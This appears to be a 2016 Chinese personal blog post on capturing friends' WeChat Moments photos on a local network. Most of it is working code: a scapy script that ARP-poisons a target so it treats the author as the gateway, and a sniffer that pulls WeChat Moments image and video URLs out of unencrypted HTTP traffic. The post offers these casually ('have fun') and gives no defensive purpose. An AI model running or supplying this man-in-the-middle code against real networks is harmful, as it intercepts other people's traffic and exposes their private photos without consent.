收割朋友圈照片
Published on Mar 08, 2016
大概源于前一阵很火的微信朋友圈红包照片。
我记得那天是刚从长亭科技膜拜完离开,看到朋友圈满目的红包照片。
首先是BJ Nodejs的群里有人开始晒不给红包看照片,后来这些搞计算机的同学都不给红包了。。。
好多天之后,我想,干脆爬下朋友圈吧。
于是有下文。
概述
目标:收割手机微信查看朋友圈时的照片
手段:ARP污染,告诉局域网内所有机器我是网关
设置系统转发
确保:
reverland@localhost » cat /proc/sys/net/ipv4/ip_forward ~/tmp/sshjs 1
ARP污染
首先,我熟悉的scapy
#! /usr/bin/python # -*- coding: utf-8 -*- # 欺骗target我是网关 from scapy.all import * import sys import time target = sys.argv[1] gateway = sys.argv[2] # 也许不必要 # 我只需要欺骗victim我是网关,把 请求 数据给我 # 获取网关 # route -n 0.0.0.0 ### 本机ip # ip addr show wlan0 # myip = '192.168.1.2' # 获取目标MAC地址 # 1. arp -e 192.168.1.6 # 2. this way # a, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff:ff')/ARP(op="who-has", psrc=myip, pdst=target),inter=RandNum(10,40), loop=0) # targetMac = a[0][1]['ARP'].hwsrc while 1: send(ARP(op="who-has", pdst=target, psrc=gateway)) time.sleep(1)
实际上这么一广播所有的机器都会把你当作网关。。。只要你时刻不停的污染下去。
警告:可能会触发杀毒软件啥的警报
收割图片
匹配流量中图片地址就好,幸好微信消息是加密的, 只有朋友圈照片不加密。。
#! /usr/bin/python # -*- coding: utf-8 -*- from scapy.all import * def prn(x): s = x['Raw'].load.split(' ')[1] if s.find('/mmsns/') >= 0 and s.find('/0?tp=webp') >= 0: return 'http://mmsns.qpic.cn' + s.replace('tp=webp', '') elif s.find('snsvideodownload') >= 0: return 'http://vweixinf.tc.qq.com' + s def lfilter(x): if x.haslayer('Raw') < 1: return False s = x['Raw'].load.split(' ') if s[0] == 'GET': return True return False sniff(iface="wlan0", filter="outbound and tcp and (port 80)", prn=prn, store=0, lfilter=lfilter)
That is all, have fun!
scapy 简直杀人越货的必备。发现该项目已经从bitbucket迁移到github上了。
没有做的
- 把两个部分放到两个线程里